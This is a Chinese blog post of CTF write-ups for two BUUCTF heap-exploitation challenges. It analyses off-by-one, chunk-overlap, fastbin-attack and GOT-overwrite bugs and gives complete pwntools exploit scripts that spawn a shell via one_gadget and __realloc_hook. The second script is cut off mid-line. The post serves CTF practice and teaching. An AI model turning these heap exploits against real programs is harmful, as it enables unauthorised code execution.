2021-09-07 BUUCTF-PWN 刷题记录

2021-09-07

文章目录

roarctf_2019_easy_pwn

0x00 题目分析

堆题
整体功能

  1. 增加
  2. 删除
  3. 修改
  4. 输出

保护情况:

root@ubuntu:~## pwn checksec roa*
[*] '/root/roarctf_2019_easy_pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护分析(全开)

  1. 改写GOT不可用
  2. 栈溢出、PIE保护开启,需要泄露程序地址

利用分析:

  1. 在editnote时,存在溢出一个字节的漏洞(Off by one),可利用其修改下一堆块长度,制造堆溢出
  2. 有dumpnote功能,可泄露地址,利用泄露Unsorted bin去改__malloc_hook?

关键的漏洞点(off by one),editnote里输入内容长度后会进入一个函数检查输入
第一个if 如果堆大小大于输入的长度,那么直接返回长度
第二个if 如果堆大小小于输入的长度
并且满足input_len - heap_len == 10(输入大小-堆大小=10)返回一个堆大小+1的长度结构
Pasted image 20210907155525.png

0x01 利用思路

整体利用思路,结合dalao的wp(直接写入__malloc_hook是不可行的)

  1. 利用offbyone修改下一堆size位,实现堆叠
  2. 利用dump输出泄露unsorted bin地址
  3. 利用fast_bin_attack修改realloc_hook函数使malloc间接调用one_gadget
    Pasted image 20210903162554.png

溢出后后面泄露Libc地址
在gdb中,输入libc可查看libc基地址,计算固定偏移
Pasted image 20210903163156.png

0x02 利用EXP

内存复现:
realloc_hook
Pasted image 20210907164434.png
realloc_hook+8 就是 __malloc_hook 的地址
Pasted image 20210907165004.png
由于直接写入malloc_hook无效,那就间接调用
malloc_hook写入realloc_hook函数地址,realloc_hook写入one_gadget

间接调用了one_gadget
malloc=>malloc_hook=>realloc_hook=>one_gadget(shell)

总结一下一些堆题固定的套路:

  1. 堆题制造堆溢出(堆叠)一般是通过一种方式修改堆头部达到欺骗libc、程序的目的
    1. UAF
    2. Off By One(null)
    3. Double Free
    4. 直接溢出
    5. unlink
  2. Getshell
    1. GOT可改=>利用堆溢出、堆叠更改GOT表数据
    2. GOT不可改=>利用泄露地址(一般是unsorted bin地址)在free后产生在堆的头部(fd、bk)处,可利用程序输出功能输出
      1. 泄露该地址,可使用固定偏移算出劫持函数的地址
        1. 劫持方法
          1. fast_bin_attack,利用堆溢出更改堆块fd为劫持函数地址,导致新建堆的地址成为任意控制的地址(该方法有固定的套路去过检查机制)
        2. 劫持函数(常用)
          1. 修改__malloc_hook地址的数据,达到劫持malloc函数地址的目的
          2. 修改__realloc_hook地址的数据,达到间接劫持malloc函数地址的目的
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/roarctf_2019_easy_pwn"
if  isLocal:
    libc=ELF("./x64/libc-2.23_buuctf.so")
    p=process(filename,env={
   "LD_PRELOAD" : "./libc-2.23_buuctf.so"})
  
else :
    p=remote("node4.buuoj.cn",28414)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)


def add(size):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size:')
    p.sendline(str(size))

def edit(index,size,data):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('size:')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.send(data)
 
def delete(index):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(index))
 
def show(index):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(index))  

malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']



#gdb.attach(r,"b calloc")

add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3

#gdb.attach(r)
#pause()
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one 
#gdb.attach(r)

edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check (double free or corrpation
#原始堆块2的地址是0x50偏移,off by one修改长度后,后面地址被递增,chunk2地址变成了0xC0
#0xC0-0x50=0x70(112个字节),修复chunk2的头部通过unlink的检查


#gdb.attach(r)

delete(1)

add(0x90)#idx1 chunk overlap
#重新申请chunk到index1的地址,导致堆叠(溢出修改后面chunk)


edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))

delete(2)	
show(1)#leak unsorted bin

p.recvuntil("content: ")
p.recv(0x20)
libc_base=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78


print "libc_base:"+hex(libc_base)


add(0x80)#idx2

edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))

delete(2)

edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
#fast bin attack 修改chunk2的fd为任意地址 套路利用 0x7f过检查
"""
然后通过编辑来修改他的 fd 的内容为 main_arean - 0x23 
在 malloc_hook 附近,这个偏移是为了通过 size 的检查,这样能让他有个 0x7f 的 size
"""
pause()


add(0x60)

add(0x60)#idx4 创建了fd的地址
#gdb.attach(r)

one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 

"""
所以上面意思是,先把 one_gadget 写到 realloc_hook 中,
然后把 realloc_hook 写到 malloc_hook 中,
当去 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),
然后执行 realloc_hook 里的 one_gadget 从而拿到 shell
"""

add(0x60)#realloc
p.interactive()

babyfengshui_33c3_2016

0x00 题目分析

静态分析堆题 有增、删、改、查
保护情况

root@ubuntu:~## pwn checksec babyf*
[*] '/root/babyfengshui_33c3_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO(可修改GOT)
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@ubuntu:~## 

可以修改got,我们就不难去联想到,利用堆溢出的方法,控制堆管理布局,方法也很多

  1. UAF
  2. OBO(Off By One/Off By Null)
  3. Double Free

关键的漏洞点在
Pasted image 20210907152227.png
Pasted image 20210907152244.png

新建、与修改时的长度检查机制逻辑有问题
新建的堆索引只会往上加,一旦程序释放了堆块,再新建,系统内部并不是只会往新的地址去新建堆,如果条件满足,会在已释放的堆块地址进行重新利用

堆的基本结构(管理堆)
相当于你在程序使用一个Add功能,会增加2个堆,一个堆是储存地址(长度都一样),一个堆存内容

位置 解释
ptr+index 存放新建自定义长度堆的地址,用于存放读入内容
ptr+index+4 存放name地址

所以我们新建堆,再释放,再新建一个更大大小的堆,就可以制造类似于[[UAF]]的漏洞,实现堆溢出,重用了释放堆的地址,随后控制系统堆的头部内存位(size位等)

动态调试下查看ptr(.bss:0804B080)

Pasted image 20210907154035.png

额外函数的知识:
[[fgets]]

char *fgets(char *str, int n, FILE *stream);
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。 [1]

0x01 利用思路

整体思路

  1. 制造[[UAF]],使堆地址复用(新建堆、释放堆、新建更大的堆)=>制造堆溢出(堆叠)
  2. 反复利用该漏洞,修改GOT表数据

这种方法也叫house of spirit

简单的说,有输出的可以使用dump输出功能输出got地址泄露libc,然后利用堆叠修改Got

Pasted image 20210902111506.png

0x02 利用EXP

利用代码整体思路:
原因:edit的if判断逻辑有问题+chunk释放后并不是按顺序的
就是说,程序存的堆索引只有顺序递增,但堆的地址释放与创建不是按顺序的(刚刚释放的会用回去创建)
chunk0 1 2(正常存在内存顺序储存)
free(0)
chunk3(此时索引为3,但指向的地址是原来释放chunk0的地址)

  1. 构造堆溢出
    1. 先创建3个chunk
    2. 释放chunk0
    3. 再申请一个大chunk(补位到chunk0)
    4. 修改大chunk内容,实现堆溢出到后门的堆块
  2. dump显示泄露的chunk1地址计算libc
  3. getshell,改chunk

理解了,自己去动态调试看了,也不会难

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/babyfengshui_33c3_2016"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
    pause()
else :
    p=remote("node4.buuoj.cn",25401)
    libc=ELF("./x86/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{
   {print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size,name,size_text,text):
    ru("Action: ")
    sl('0')
    ru("size of description: ")
    sl(str(size))#是无符号类型
    ru("name: ")
    sl(name)
    ru("text length: ")
    sl(str(size_text))#是无符号类型
    ru("text: ")
    sl(text)#是无符号类型


def free(index):
    ru("Action: ")
    sl('1')
    ru("index: ")
    sl(str(index))

def edit(index,size_text,text):
    ru("Action: ")
    sl('3')
    ru("index: ")
    sl(str(index))
    ru("text length: ")
    sl(str(size_text))#是无符号类型
    ru("text: ")
    sl(text)#是无符号类型
def dump(index):
    ru("Action: ")
    sl('2')
    ru("index: ")
    sl(str(index))



#--第一步:顺序创建
malloc(0x80,b'ch1ilkat',0x78,'aaa')
malloc(0x80,b'ch1ilkat',0x78,'ccc')
malloc(0x80,b'ch1ilkat',0x78,'/bin/sh\x00')
"""
addr                prev                size                 status              fd                bk                
0x9c6f000           0x0                 0x88                 Used                None              None
0x9c6f088           0x0                 0x88                 Used                None              None
0x9c6f110           0x0                 0x88                 Used                None              None
0x9c6f198           0x0                 0x88                 Used                None              None
0x9c6f220           0x0                 0x88                 Used                None              None
0x9c6f2a8           0x0                 0x88                 Used                None              None
pwndbg> telescope 0x804B080
00:0000│  0x804b080 —▸ 0x9c6f090 —▸ 0x9c6f008 ◂— 0x616161 /* 'aaa' */
01:0004│  0x804b084 —▸ 0x9c6f1a0 —▸ 0x9c6f118 ◂— 0x636363 /* 'ccc' */
02:0008│  0x804b088 —▸ 0x9c6f2b0 —▸ 0x9c6f228 ◂— '/bin/sh'
03:000c│  0x804b08c ◂— 0x0

"""

free(0)

malloc(0x100,"overflows~~fly",0x98,'ddd')

"""
free(0)+创建chunk3
addr                prev                size                 status              fd                bk                
0x9a1e000           0x0                 0x110                Used                None              None
0x9a1e110           0x110               0x88                 Used                None              None
0x9a1e198           0x0                 0x88                 Used                None              None
0x9a1e220           0x0                 0x88                 Used                None              None
0x9a1e2a8           0x0                 0x88                 Used                None              None
0x9a1e330           0x0                 0x88                 Used                None              None
pwndbg> telescope 0x804B080
00:0000│  0x804b080 ◂— 0x0
01:0004│  0x804b084 —▸ 0x9a1e1a0 —▸ 0x9a1e118 ◂— 0x636363 /* 'ccc' */
02:0008│  0x804b088 —▸ 0x9a1e2b0 —▸ 0x9a1e228 ◂— '/bin/sh'
03:000c│  0x804b08c —▸ 0x9a1e338 —▸ 0x9a1e008 ◂— 0x646464 /* 'ddd' */
对比:chunk3索引依旧是3,但是地址变回了chunk0用的地址(0x08偏移)
"""


"""
pwndbg> hex 0x9a1e008+408 2300
+0000 0x9a1e1a0  18 e1 a1 09  63 68 31 69  6c 6b 61 74  00 00 00 00  │....│ch1i│lkat│....│
+0010 0x9a1e1b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
计算chunk3与堆块数据地址的偏移,改数据地址指针,dump泄漏got地址
"""
"""
堆溢出修改chunk1:
pwndbg> telescope 0x804B080
00:0000│  0x804b080 ◂— 0x0
01:0004│  0x804b084 —▸ 0x9c261a0 —▸ 0x804b020 —▸ 0xf7db0fc0 (malloc) ◂— push   edi
02:0008│  0x804b088 —▸ 0x9c262b0 —▸ 0x9c26228 ◂— '/bin/sh'
03:000c│  0x804b08c —▸ 0x9c26338 —▸ 0x9c26008 ◂— 0x61616161 ('aaaa')
04:0010│  0x804b090 ◂— 0x0

"""
ptr=0x804B080


__malloc_hook=elf.got["free"]
payload=b"a"*408+p32(__malloc_hook)
edit(3
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值